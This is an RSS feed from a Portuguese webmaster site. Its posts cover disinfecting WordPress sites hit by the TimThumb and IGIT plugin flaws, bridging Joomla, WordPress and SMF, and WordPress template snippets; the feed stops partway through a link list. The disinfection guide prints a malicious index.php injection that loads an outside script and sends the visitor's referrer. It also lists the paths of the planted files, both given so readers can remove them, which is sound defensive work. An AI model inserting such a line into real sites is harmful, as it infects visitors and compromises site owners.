<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mais Tráfego &#187; plugins</title>
	<atom:link href="http://www.maistrafego.pt/tag/plugins/feed" rel="self" type="application/rss+xml" />
	<link>http://www.maistrafego.pt</link>
	<description>Mais Tráfego - Criamos Webmasters. Comunidade de webmasters de Portugal</description>
	<lastBuildDate>Fri, 27 Jan 2012 20:01:37 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Vulnerabilidade no Timthumb e no IGIT Related Posts &#8211; Como Desinfectar</title>
		<link>http://www.maistrafego.pt/wordpress-vulnerabilidade-timthumb-igit-related-posts</link>
		<comments>http://www.maistrafego.pt/wordpress-vulnerabilidade-timthumb-igit-related-posts#comments</comments>
		<pubDate>Mon, 08 Aug 2011 16:05:16 +0000</pubDate>
		<dc:creator>Carlos Gandra</dc:creator>
				<category><![CDATA[Destaques]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=4542</guid>
		<description><![CDATA[Nos últimos dias, diversas instalações de WordPress têm sido afectadas por uma vulnerabilidade no Timthumb, script utilizado por muitos themes para gerar miniaturas e mais recentemente no IGIT Related Posts, um plugin que mostra os artigos relacionados com miniatura. Apesar de ser um problema alheio ao WordPress em si, todos os bloggers e webmasters que [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-4551 alignnone" title="Vulnerabilidades" src="http://www.maistrafego.pt/wp-content/uploads/2011/08/security.jpg" alt="Vulnerabilidades" width="600" height="330" /></p>
<p>Nos últimos dias, diversas instalações de WordPress têm sido afectadas por uma vulnerabilidade no Timthumb, script utilizado por muitos themes para gerar miniaturas e mais recentemente no IGIT Related Posts, um plugin que mostra os artigos relacionados com miniatura. Apesar de ser um problema alheio ao WordPress em si, todos os bloggers e webmasters que tenham sites em WordPress, devem proceder à respectiva actualização e desinfecção:</p>
<p><strong>Passo prévio:</strong> efectua uma cópia de segurança antes de qualquer alteração.</p>
<p><strong>1. Verifica se o theme possui o script timthumb.php</strong></p>
<p>No painel de admin do WordPress, clica em Apresentação &#8211; Editor e procura um ficheiro chamado timthumb.php, thumb.php ou um nome semelhante. Caso não exista, não é necessário efectuar qualquer alteração. Se existir, abre o ficheiro e substitui todo o código no interior do mesmo por <a href="http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php" target="_blank">este aqui</a>. Guarda as alterações.</p>
<p><strong>2. Verifica se utilizas o plugin IGIT Related Posts</strong></p>
<p>No painel de admin do WordPress, clica em Plugins e verifica se tens um plugin com este nome. Em caso afirmativo, desactiva-o e remove-o &#8211; pelo menos enquanto não for lançada uma actualização, que pode ser acompanhada na <a href="http://wordpress.org/extend/plugins/igit-related-posts-with-thumb-images-after-posts/" target="_blank">página do plugin</a>. Tendo em conta que este plugin também possui <em>hidden links</em>, pessoalmente recomendo desinstalar de vez e procurar uma solução alternativa.</p>
<p><strong>3. Verifica se tens ficheiros infectados no interior do site</strong></p>
<p>Acede à raiz do WordPress via FTP ou Explorador de Ficheiros do cPanel e verifica se tens os seguintes ficheiros:</p>
<ul>
<li>/wp-admin/js/config.php</li>
<li>/wp-admin/common.php</li>
<li>/wp-admin/upd.php</li>
<li>/wp-content/upd.php</li>
</ul>
<p>Em caso afirmativo, remove-os.</p>
<p><strong>4. Desinfecta o index.php</strong></p>
<p>Acede ao index.php que se encontra na raíz da instalação do WordPress e verifica se no mesmo tens a seguinte linha de código:</p>
<pre class="brush: php">

echo &#039; script type=&amp;quot;text/javascript&amp;quot; language=&amp;quot;javascript&amp;quot;
src=&amp;quot;http://superpuperdomain.com/count.php?ref=&#039;.urlencode($_SERVER[&#039;HTTP_REFERER&#039;]) .&#039;
</pre>
<p>Em caso afirmativo, remove essa porção de código, grava e faz o upload do ficheiro agora limpo, para a raiz do site.</p>
<p><strong>5. Procedimentos de segurança</strong></p>
<p>Nunca é demais relembrar que a melhor forma de não teres os sites atacados, é prevenir esses ataques. Adopta comportamentos de segurança tais como manter o WordPress actualizado, assim como todos os plugins e themes, e nestes últimos procura instalar apenas de autores de confiança e sobretudo, verifica se estas extensões são pagas ou gratuitas, porque existem sites a distribuir plugins e themes premium (pagos) de forma gratuita, portanto pirateados, com a contrapartida de estarem infectados e/ou com <em>spam links</em>.</p>
<p>A segurança das passwords de acesso ao site, ftp, cpanel, bem como a limpeza do computador a partir do qual acedes, são factores igualmente importantes.</p>
<p><strong>Mais informação:</strong></p>
<ul>
<li><a href="http://wordpress.org/support/topic/rss-feed-crash" target="_blank">RSS Feed Crash</a></li>
<li><a href="http://wordpress.org/support/topic/attention-igit-related-posts-with-thumb-image-after-posts-phpremoteview-attack" target="_blank">PHP Remote View Attack</a></li>
</ul>
<p>Podes acompanhar também o <a href="http://forum.maistrafego.pt/index.php?topic=29354">tópico de discussão no fórum</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/wordpress-vulnerabilidade-timthumb-igit-related-posts/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Como criar um poderoso portal [joomla+wordpress+smf]</title>
		<link>http://www.maistrafego.pt/como-criar-um-poderoso-portal-joomla-wordpress-smf</link>
		<comments>http://www.maistrafego.pt/como-criar-um-poderoso-portal-joomla-wordpress-smf#comments</comments>
		<pubDate>Fri, 15 May 2009 17:59:25 +0000</pubDate>
		<dc:creator>Nuno</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[smf]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[componentes]]></category>
		<category><![CDATA[construir portal]]></category>
		<category><![CDATA[plugins]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=347</guid>
		<description><![CDATA[Esta é daquelas dicas que não encontram todos os dias. hoje vou ensinar e mostrar-vos as ferramentas necessárias para criar um poderoso portal com um custo mínimo de execução para os infindáveis recursos que vão ter disponíveis! As plataformas que vamos usar são o joomla, o poderoso cms para portais, o wordpress a melhor plataforma [...]]]></description>
			<content:encoded><![CDATA[<p>Esta é daquelas dicas que não encontram todos os dias. hoje vou ensinar e mostrar-vos as ferramentas necessárias para criar um poderoso portal com um custo mínimo de execução para os infindáveis recursos que vão ter disponíveis! As plataformas que vamos usar são o <a href="http://www.maistrafego.pt/joomla-o-verdadeiro-guia">joomla</a>, o poderoso cms para portais, o <a href="http://www.maistrafego.pt/wordpress-o-verdadeiro-guia">wordpress</a> a melhor plataforma para blogs e o <a href="http://www.simplemachines.org/">smf</a>, uma óptima e na minha opinião a melhor plataforma gratuita para fóruns.</p>
<p><span id="more-347"></span></p>
<dl id="attachment_374" class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><img class="size-full wp-image-374" title="portal1" src="http://www.maistrafego.pt/wp-content/uploads/2009/05/portal1.png" alt="portal joomla wordpress smf" width="570" height="200" /></dt>
</dl>
<h2>Como é que estas plataformas vão estar interligadas?</h2>
<p>Estas plataformas vão estar <strong>interligadas todas a partir do joomla</strong>, ou seja, vão ter a base de dados (bd) dos users do joomla e essa bd vai servir de base para todas as funções do portal. Isto é, através de um login, o utilizador ao registar-se no vosso site, vai ter acesso ao blog e aos seus comentários (se apenas users registados poderem comentar), vai ter acesso ao fórum, e cada vez que altere o seu perfil no fórum, os campos são actualizados automaticamente no joomla, o que faz com que esteja sempre tudo sincronizado. <strong>Isto é possível através de bridges</strong>, estes sistemas, tal como o nome indica servem para fazer a &#8220;ponte de ligação&#8221; entre diferentes CMS. É importante também referir que as bridges que vamos utilizar <strong>são bridges não intrusivas</strong>, ou seja, não é necessário alterações nos códigos dos diferentes cms para que tudo funcione na perfeição.</p>
<h3>Software necessário e links de demonstração</h3>
<ul>
<li><a href="http://www.joomla.org">Joomla</a></li>
<li><a href="http://www.wordpress.org">WordPress</a></li>
<li><a href="http://www.simplemachines.org/">SMF</a></li>
<li><a href="http://www.corephp.com/wordpress/wordpress-integration-for-joomla-1.5.html">Integração joomla+wordpress</a></li>
<li><a href="http://www.jfusion.org/">Bridge joomla+smf</a></li>
<li><a href="http://wordpress.corephpdemos.com/blog">Demo joomla+wordpress</a></li>
<li><a href="http://www.jfusion.org/index.php/demo/smf">Demo joomla+smf</a></li>
</ul>
<h2>Quais as vantagens de ter o joomla e o wordpress no mesmo site?</h2>
<p><img class="alignnone size-full wp-image-381" title="portal2" src="http://www.maistrafego.pt/wp-content/uploads/2009/05/portal2.png" alt="portal2" width="570" height="200" /></p>
<p>Para quem conhece bem as duas plataformas sabe que ambas têm as suas vantagens. Por um lado o wordpress é óptimo para SEO, a sua estrutura é feita quase completamente a pensar nos<strong> motores de busca</strong>, dai o wordpress ser uma plataforma tão popular, as pessoas começam a escrevem e passado uns dias já estão a receber visitas e não fazem a mínima ideia de como isto aconteceu. O seu sistema de backoffice é muito mais simples e userfriendly que o do joomla, a sua &#8220;taxonomia&#8221;, ou seja, o seu sistema de categorização dos artigos também é diferente e poderá ser mais interessante, os plugins para wordpress para gerar mais comentários, para submeter os artigos à websocial, para ganhar mais subscritores &#8230;etc, estes são os aspectos que o wordpress deixa o joomla a um canto, logo se vamos ter isto tudo dentro do joomla, só temos a ganhar. O joomla tem as suas vantagens também relativamente ao wordpress, o seu sistema modular de templates é uma maravilha para quem constrói sites, não há nada ou nenhum sítio onde não se possa inserir qualquer coisa a partir da administração do joomla sem ser necessário qualquer conhecimento a nível de <strong>programação web</strong>. Mas isto de ter um joomla e um wordpress tem muito que se lhe diga, no final deste artigo vamos ver mais ferramentas que poderão levar o nosso site a um outro nível!</p>
<h2>Quais as vantagens de ter o SMF ligado ao joomla?</h2>
<p><img class="alignnone size-full wp-image-384" title="portal3" src="http://www.maistrafego.pt/wp-content/uploads/2009/05/portal3.png" alt="portal3" width="570" height="200" /></p>
<p>Como todos sabemos os fóruns são quase sempre iguais, a mesma estrutura de templates, a mesma monotonia, os mesmos links &#8230;etc. Quando temos um fórum claro que não vamos querer re-inventar a roda, pois normalmente os fóruns têm muitas categorias, o que torna a sua navegação por vezes muito complicada para um utilizador que chega pela primeira vez ao nosso fórum. Mas se em vez de re-inventarmos a roda, a pudéssemos tornar mais apelativa, era óptima certo?!<br />
Como é que o joomla entra neste aspecto no vosso fórum, de uma maneira muito simples, o vosso fórum irá ficar como um componente do joomla, ou seja, <strong>vão ter o mesmo header em todo o site</strong> e estrutura de template do joomla, os templates para joomla são muito mais elaborados e trabalhados, logo, em termos de design o vosso site poderá ganhar muito com isto. Outro exemplo e muito simples, é este, imaginem que querem inserir publicidade no vosso fórum, têm de estar a instalar um mod, se o mod não for compatível com a template do fórum vai ser uma dor de cabeça enorme pois temos de instalar tudo à mão &#8230;etc, com o joomla isto deixa de ser um problema, basta instalarem um modulo para joomla para esse efeito e activarem-no para aparecer na secção do vosso fórum, simples.</p>
<p>Não esquecer que não são obrigados a usar o fórum dentro do joomla podem ser usar o fórum fora do joomla e ter também a sincronização com a bd, ou seja, a bridge com o joomla.</p>
<h2>Então e os diferentes sistemas de templates e as header tags?</h2>
<p>Os componentes que vamos utilizar já vêm preparados para estas dificuldades, no entanto se por algum motivo a template ou a theme que estiverem a usar vos trouxer complicações neste aspecto, a solução é simples basta removerem as header tags da theme do wordpress ou do smf para deixarem de ter duplicações de títulos e descrições.</p>
<p>No entanto como podemos verificar nesta demo do componente, não existe qualquer problema nesse aspecto.</p>
<ul>
<li><a href="http://wordpress.corephpdemos.com/index.php?option=com_wordpress">Ver demo joomla+wordpress</a></li>
</ul>
<h2>Quais são as funcionalidades que o wordpress vai ter dentro do joomla?</h2>
<p>Vamos dar uma vista de olhos nas funcionalidades deste componente, que são uma autentica maravilha e não digam que eu não avisei&#8230;</p>
<ul>
<li>É um componente nativo para joomla 1.5;</li>
<li>Páginas dinâmicas;</li>
<li>Páginas, conteúdo estático, como a página de &#8220;sobre/about&#8221;;</li>
<li>WordPress links, blogroll;</li>
<li>WordPress Themes;</li>
<li>Ferramentas de comunicação cross-blog (trackbacks e pingbacks);</li>
<li>Comentários;</li>
<li>Protecção contra spam;</li>
<li>Completa integração de utilizadores com joomla;</li>
<li>Posts protegidos com password;</li>
<li>Actualização simples do componente;</li>
<li>XML-RPC interface;</li>
<li>Níveis de utilizador;</li>
<li>ASCII to correct XHTML;</li>
<li>Ping away;</li>
<li>Criar, publicar &#8230;etc, posts através do Iphone;</li>
<li>Posts via mail;</li>
<li>Adicionar ou remover o título do blog;</li>
<li>Adicionar ou remover a sidebar;</li>
<li>Opções diferentes para CSS;</li>
<li>Ligar/desligar sincronização automática com o joomla;</li>
<li>Ligar/desligar nomes do autores nos posts;</li>
<li>Suporte ao plugins mais populares;</li>
</ul>
<p><a href="http://www.corephp.com/wordpress/wordpress-integration-for-joomla-1.5.html">Ver funcionalidades completas aqui</a></p>
<h2>Quais as funcionalidades do SMF dentro do joomla?</h2>
<ul>
<li>Utilizadores podem ser sincronizados do joomla para o smf e vice-versa;</li>
<li>Login duplo, ou seja, tanto no joomla como no smf;</li>
<li>Usar como wrapper ou frameless;</li>
<li>Usar como externo;</li>
<li>Avatares e pm&#8217;s no modulo de login;</li>
<li>Modulo de actividade;</li>
<li>Login check através do componente;</li>
</ul>
<p><a href="http://www.jfusion.org/index.php/feature/jfusion-features">Ver painel completo aqui</a></p>
<h2>Levar o joomla a um outro nível!</h2>
<p><img class="alignnone size-full wp-image-387" title="portal4" src="http://www.maistrafego.pt/wp-content/uploads/2009/05/portal4.png" alt="portal4" width="570" height="200" /></p>
<p>Com o a utilização do componente <a href="http://www.jfusion.org">jfsuion</a> para a integração do <a href="http://www.simplemachines.org/">smf</a>, temos também a hipotese de levar o joomla a um outro nível no que toca à integração com outros cms. Este componente permite também integrar outro site em joomla, com a instalação de joomla principla, permite integrar outras plataformas de fórum como o <a href="http://www.vbulletin.com">vbulettin</a>, o <a href="http://www.phpbb.com">phpbb</a>, ou o <a href="http://www.mybboard.net/">mybb</a>, permite integrar o poderoso sistema de e-commerce, o <a href="http://www.magentocommerce.com/">magento</a> e permite também integrar o sistema de e-learing <a href="http://moodle.org/">moodle</a>. A partir daqui as possibilidades de expandirmos o nosso site são tantas que era preciso um livro para falar disto tudo&#8230; Mas se utilizarem este sistema podem sempre colocar as dúvidas no nosso <a href="http://forum.maistrafego.pt">fórum</a> que estamos por lá para ajudar no que podermos.</p>
<h3>Outros componentes para maximizar o joomla</h3>
<ul>
<li><a href="http://www.mosets.com/">mosets</a></li>
<li><a href="http://www.rocketwerx.com/">Rocketwerx</a></li>
<li><a href="http://tools.yootheme.com/">Yoo tools</a></li>
<li><a href="http://www.joomlaworks.gr/">Joomla works</a></li>
<li><a href="http://k2.joomlaworks.gr/">K2</a></li>
<li><a href="http://zoo.yootheme.com/">Zoo</a></li>
<li><a href="http://joomsuite.com/">Joom Suite</a></li>
<li><a href="http://www.sigsiu.net/sobi2.html">Sobi</a></li>
<li><a href="http://www.reviewsforjoomla.com/">Reviews for joomla</a></li>
<li> <a href="http://extensions.joomla.org/extensions/directory-&amp;-documentation/directory/620/details">Alpha Content</a></li>
</ul>
<p>Espero que tenham gostado desta dica e desculpem-me este pequeno interregno na colocação de posts, mas a quantidade de queimas que existe neste país é uma coisa absurda ;). Se utilizarem alguma destas dicas na contrução do vosso site deixem o link para ficarmos a conhecer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/como-criar-um-poderoso-portal-joomla-wordpress-smf/feed</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>WordPress o verdadeiro guia</title>
		<link>http://www.maistrafego.pt/wordpress-o-verdadeiro-guia</link>
		<comments>http://www.maistrafego.pt/wordpress-o-verdadeiro-guia#comments</comments>
		<pubDate>Wed, 22 Apr 2009 22:26:06 +0000</pubDate>
		<dc:creator>Nuno</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[webdesign]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=238</guid>
		<description><![CDATA[O WordPress é a plataforma com a maior legião de fãns do mundo dos CMS, é talvez o gestor de conteúdos mais simples e ao mesmo tempo mais poderoso com que alguma vez trabalhei. As razões para isto são simples, é um CMS completamente orientado para o blogging, mas que com algumas modificações, hacks e [...]]]></description>
			<content:encoded><![CDATA[<p>O <a href="http://www.wordpress.org">WordPress</a> é a plataforma com a maior legião de fãns do mundo dos <strong>CMS</strong>, é talvez o gestor de conteúdos mais simples e ao mesmo tempo mais poderoso com que alguma vez trabalhei. As razões para isto são simples, é um CMS completamente orientado para o <strong>blogging</strong>, mas que com algumas modificações, hacks e plugins, facilmente se torna em qualquer outro tipo de website. Em termos de mercado o wordpress tem movimentado milhares de profissionais, desde o desenvolvimento de plugins a themes, os <strong>web developers e web designers</strong> são cada vez mais requisitados para este tipo de trabalhos. Neste post vamos reunir dezenas de recursos extremamente úteis para quem trabalha com esta plataforma.<br />
<br />
O wordpress é uma plataforma fantásticas para os web designers mas também para o utilizador comum, devido à sua simplcidade, se quiser conhecer melhor o que se pode fazer com ela, veja <a href="http://www.maistrafego.pt/fantasticos-layouts-de-blogs-nacionais">este post</a>, que contém vários trabalhos de web designers portugueses em wordpress.<br />
<span id="more-238"></span></p>
<h2>Recursos úteis</h2>
<p><img class="alignnone size-medium wp-image-248" title="press1" src="http://www.maistrafego.pt/wp-content/uploads/2009/04/press1-300x166.png" alt="press1" width="300" height="166" /></p>
<p>Estes dois documentos são a bíblia de quem desenvolve themes para wordpress, o primeiro têm todas as tags necessárias à criação de um theme, o segundo mostra-nos configurações já mais avançadas e sempre úteis para quem já tem alguma experiência na construção de layouts para esta plataforma.</p>
<p><strong>The WordPress Help Sheet</strong> -&gt; <a href="http://wpcandy.com/articles/tutorials/the-wordpress-help-sheet.html">site</a> | <a href="http://www.maistrafego.pt/wp-content/uploads/2009/04/wordpress-help-sheet.pdf">documento</a><br />
<strong>The Advanced WordPress Help Sheet</strong> -&gt; <a href="http://wpcandy.com/articles/tutorials/the-advanced-wordpress-help-sheet.html">site</a> | <a href="http://www.maistrafego.pt/wp-content/uploads/2009/04/advanced-wordpress-help-sheet.pdf">documento</a></p>
<h2>Códigos úteis</h2>
<p>(Atenção para copiar os códigos aconselha-mos a clicar em &#8220;view source&#8221; no menu das caixas de código)</p>
<h3>Mostrar posts recentes</h3>
<pre class="brush: php">

&lt;?php query_posts(&#039;showposts=5&#039;); ?&gt;
&lt;ul&gt;
&lt;?php while (have_posts()) : the_post(); ?&gt;
&lt;li&gt;&lt;a href=&quot;&lt;?php the_permalink() ?&gt;&quot;&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/li&gt;
&lt;?php endwhile;?&gt;
&lt;/ul&gt;
</pre>
<h3>Mostrar posts/pages recentemente actualizados</h3>
<pre class="brush: php">

&lt;code&gt;&lt;?php
$today = current_time(&#039;mysql&#039;, 1);
$howMany = 5; //Number of posts you want to display
if ( $recentposts = $wpdb-&gt;get_results(&quot;SELECT ID, post_title FROM $wpdb-&gt;posts WHERE post_status = &#039;publish&#039; AND post_modified_gmt &lt; &#039;$today&#039; ORDER BY post_modified_gmt DESC LIMIT $howMany&quot;)):
?&gt;
&lt;h2&gt;&lt;?php _e(&quot;Recent Updates&quot;); ?&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;?php
foreach ($recentposts as $post) {
if ($post-&gt;post_title == &#039;&#039;) $post-&gt;post_title = sprintf(__(&#039;Post #%s&#039;), $post-&gt;ID);
echo &quot;&lt;li&gt;&lt;a href=&#039;&quot;.get_permalink($post-&gt;ID).&quot;&#039;&gt;&quot;;
the_title();
echo &#039;&lt;/a&gt;&lt;/li&gt;&#039;;
}
?&gt;
&lt;/ul&gt;
&lt;?php endif; ?&gt;&lt;/code&gt;
</pre>
<h3>Mostrar comentários recentes</h3>
<pre class="brush: php">

&lt;code&gt;&lt;?php
global $wpdb;
$sql = &quot;SELECT DISTINCT ID, post_title, post_password, comment_ID,
comment_post_ID, comment_author, comment_date_gmt, comment_approved,
comment_type,comment_author_url,
SUBSTRING(comment_content,1,30) AS com_excerpt
FROM $wpdb-&gt;comments
LEFT OUTER JOIN $wpdb-&gt;posts ON ($wpdb-&gt;comments.comment_post_ID =
$wpdb-&gt;posts.ID)
WHERE comment_approved = &#039;1&#039; AND comment_type = &#039;&#039; AND
post_password = &#039;&#039;
ORDER BY comment_date_gmt DESC
LIMIT 10&quot;;
$comments = $wpdb-&gt;get_results($sql);
$output = $pre_HTML;
$output .= &quot;\n&lt;ul&gt;&quot;;
foreach ($comments as $comment) {
$output .= &quot;\n&lt;li&gt;&quot;.strip_tags($comment-&gt;comment_author)
.&quot;:&quot; . &quot;&lt;a href=\&quot;&quot; . get_permalink($comment-&gt;ID) .
&quot;#comment-&quot; . $comment-&gt;comment_ID . &quot;\&quot; title=\&quot;on &quot; .
$comment-&gt;post_title . &quot;\&quot;&gt;&quot; . strip_tags($comment-&gt;com_excerpt)
.&quot;&lt;/a&gt;&lt;/li&gt;&quot;;
}
$output .= &quot;\n&lt;/ul&gt;&quot;;
$output .= $post_HTML;
echo $output;?&gt;&lt;/code&gt;
</pre>
<h3>Mostrar Top de comentários</h3>
<pre class="brush: php">

&lt;code&gt;&lt;?php $result = $wpdb-&gt;get_results(&quot;SELECT comment_count,ID,post_title FROM $wpdb-&gt;posts ORDER BY comment_count DESC LIMIT 0 , 10&quot;);
foreach ($result as $topten) {
$postid = $topten-&gt;ID;
$title = $topten-&gt;post_title;
$commentcount = $topten-&gt;comment_count;
if ($commentcount != 0) { ?&gt;
&lt;li&gt;&lt;a href=&quot;&lt;?php echo get_permalink($postid); ?&gt;&quot; title=&quot;&lt;?php echo $title ?&gt;&quot;&gt;&lt;?php echo $title ?&gt;&lt;/a&gt;&lt;/li&gt;
&lt;?php } } ?&gt;&lt;/code&gt;
</pre>
<h3>Mostrar categorias</h3>
<pre class="brush: php">

&lt;code&gt;&lt;h2&gt;Categories&lt;/h2&gt;
&lt;ul&gt;
&lt;?php wp_list_cats(&#039;sort_column=name&#039;); ?&gt;
&lt;/ul&gt;&lt;/code&gt;
</pre>
<h3>Mostrar arquivos</h3>
<pre class="brush: php">

&lt;code&gt;&lt;h2&gt;Archives&lt;/h2&gt;
&lt;ul&gt;
&lt;?php wp_get_archives(&#039;type=monthly&#039;); ?&gt;
&lt;/ul&gt;&lt;/code&gt;
</pre>
<h3>Mostrar menu de páginas na sidebar</h3>
<pre class="brush: php">

&lt;code&gt;&lt;h2&gt;Pages&lt;/h2&gt;
&lt;ul&gt;
&lt;?php wp_list_pages(&#039;title_li=&#039;); ?&gt;
&lt;/ul&gt;&lt;/code&gt;
</pre>
<h3>Mostrar gravatars</h3>
<pre class="brush: php">

&lt;code&gt;&lt;?php if(function_exists(’get_avatar’)){ echo get_avatar($comment, ‘50?);} ?&gt;&lt;/code&gt;
</pre>
<h3>Mostrar links do blogroll</h3>
<pre class="brush: php">

&lt;code&gt;&lt;ul&gt;
&lt;?php get_links_list(); ?&gt;
&lt;/ul&gt;&lt;/code&gt;
</pre>
<h3>Mostrar secção da Admin</h3>
<pre class="brush: php">

&lt;code&gt;&lt;ul&gt;
&lt;?php wp_register(); ?&gt;
&lt;li&gt;&lt;?php wp_loginout(); ?&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.wordpress.org/&quot;&gt;WordPress&lt;/a&gt;&lt;/li&gt;
&lt;?php wp_meta(); ?&gt;
&lt;li&gt;&lt;a href=&quot;http://validator.w3.org/check?uri=referer&quot;&gt;XHTML&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/code&gt;
</pre>
<h3>Mostrar nuvem de tags</h3>
<pre class="brush: php">

&lt;code&gt;&lt;?php wp_tag_cloud(&#039;smallest=8&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;largest=36&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;&#039;); ?&gt;&lt;/code&gt;
</pre>
<h3>Mostrar entradas mais recentes do seu twitter</h3>
<pre class="brush: php">

&lt;code&gt;&lt;?php
// Your twitter username.
$username = &quot;TwitterUsername&quot;;
// Prefix - some text you want displayed before your latest tweet.
// (HTML is OK, but be sure to escape quotes with backslashes: for example href=\&quot;link.html\&quot;)
$prefix = &quot;&quot;;
// Suffix - some text you want display after your latest tweet. (Same rules as the prefix.)
$suffix = &quot;&quot;;
$feed = &quot;http://search.twitter.com/search.atom?q=from:&quot; . $username . &quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;rpp=1&quot;;
function parse_feed($feed) {
$stepOne = explode(&quot;&lt;content type=\&quot;html\&quot;&gt;&quot;, $feed);
$stepTwo = explode(&quot;&lt;/content&gt;&quot;, $stepOne[1]);
$tweet = $stepTwo[0];
$tweet = str_replace(”&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;”, “&lt;”, $tweet);
$tweet = str_replace(”&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;”, “&gt;”, $tweet);
return $tweet;
}
$twitterFeed = file_get_contents($feed);
echo stripslashes($prefix) . parse_feed($twitterFeed) . stripslashes($suffix);
?&gt;&lt;/code&gt;
</pre>
<h2>Tutoriais de Worpdress</h2>
<p><img class="alignnone size-medium wp-image-262" title="press2" src="http://www.maistrafego.pt/wp-content/uploads/2009/04/press2-300x166.png" alt="press2" width="300" height="166" /></p>
<h3>Criação de themes</h3>
<ul>
<li><a href="http://css-tricks.com/designing-for-wordpress-complete-series-downloads/">Designing for WordPress</a></li>
<li><a href="http://www.dezinerfolio.com/2007/11/27/developing-a-wordpress-theme/">Developing a WordPress Theme</a></li>
<li><a href="http://nettuts.com/site-builds/how-to-create-a-wordpress-theme-from-scratch/">How to Create a WordPress Theme from Scratch</a></li>
<li><a href="http://themetation.com/how-to-create-wordpress-themes-from-scratch-part-1/">How to Create WordPress Themes from Scratch &#8211; Part 1</a></li>
<li><a href="http://themetation.com/how-to-create-wordpress-themes-from-scratch-part-2/">How to Create WordPress Themes from Scratch &#8211; Part 2</a></li>
<li><a href="http://urbangiraffe.com/2005/04/12/themeguide1/">Dissection of a WordPress Theme &#8211; Part 1</a></li>
<li><a href="http://www.wpdesigner.com/2007/02/19/so-you-want-to-create-wordpress-themes-huh/">So You Want to Create WordPress Themes Huh?</a></li>
<li><a href="http://theundersigned.net/2006/05/from-xhtmlcss-to-wordpress/">From XHTML/CSS to WordPress</a></li>
</ul>
<h3>Vários truques e dicas</h3>
<ul>
<li><a href="http://www.webdesignerwall.com/tutorials/wordpress-theme-hacks/">WordPress Theme Hacks</a></li>
<li><a href="http://www.noupe.com/wordpress/mastering-your-wordpress-theme-hacks-and-techniques.html">Mastering Your WordPress Theme Hacks and Techniques</a></li>
<li><a href="http://www.noupe.com/wordpress/most-desired-wordpress-hacks-11-common-requests-and-fixes.html">The Most Desired WordPress Hacks: 11 Common Requests and Fixes</a></li>
<li><a href="http://wphacks.com/wordpress-hacks/">Compilation of WordPress Hacks</a></li>
</ul>
<h3>Menus e navegação</h3>
<ul>
<li><a href="http://www.darrenhoyt.com/2008/02/12/creating-two-tiered-conditional-navigation-in-wordpress/">Creating Two-Tiered Conditional Navigation in WordPress</a></li>
<li><a href="http://hackwordpress.com/sliding-doors-wordpress-navigation-css-technique/">Using Sliding Doors with WordPress Navigation</a></li>
</ul>
<h3>WordPress com esteróides</h3>
<ul>
<li><a href="http://www.wpdesigner.com/2008/03/01/how-to-use-wordpress-as-a-membership-directory/">How to Use WordPress as a Membership Directory</a></li>
<li><a href="http://bloggingexperiment.com/archives/wordpress-page-as-home-page.php">Using a WordPress Page as Your Homepage</a></li>
<li><a href="http://www.darrenhoyt.com/2007/08/24/build-a-dynamic-design-portfolio-with-wordpress/">Build a Dynamic Design Portfolio with WordPress</a></li>
<li><a href="http://hackwordpress.com/how-to-separate-wordpress-comments-and-trackbacks/">How to Separate WordPress Comments and Trackbacks</a></li>
</ul>
<h3>Pimp my wordpress</h3>
<ul>
<li><a href="http://www.devlounge.net/code/client-friendly-wordpress-themes-headerphp">Client Friendly WordPress Themes: Header.php</a></li>
<li><a href="http://www.pearsonified.com/2006/10/simple_random_header_images_for_your_blog.php">Simple Random Header Image for Your Blog</a></li>
<li><a href="http://help-developer.com/index.php/2008/07/creating-a-widget-ready-footer-in-wordpress/">Creating a Widget-Ready Footer in WordPress</a></li>
<li><a href="http://www.problogdesign.com/general-tips/how-to-install-domtabs-on-wordpress/">How to Install DomTABs on WordPress</a></li>
<li><a href="http://nettuts.com/javascript-ajax/wordpress-sidebar-turned-apple-flashy-using-jquery-ui/">WordPress Sidebar Turned Apple-Flashy Using jQuery UI</a></li>
<li><a href="http://spyrestudios.com/how-to-create-a-life-stream-and-social-media-hub/">Creating a Life-Stream and Social Media Hub</a></li>
<li><a href="http://nettuts.com/working-with-cmss/create-a-youtube-section-with-wordpress/">Create a YouTube Section with WordPress</a></li>
<li><a href="http://www.wpdesigner.com/2007/06/12/styling-individual-posts-using-the_id/">Styling Individual Posts Using the_ID</a></li>
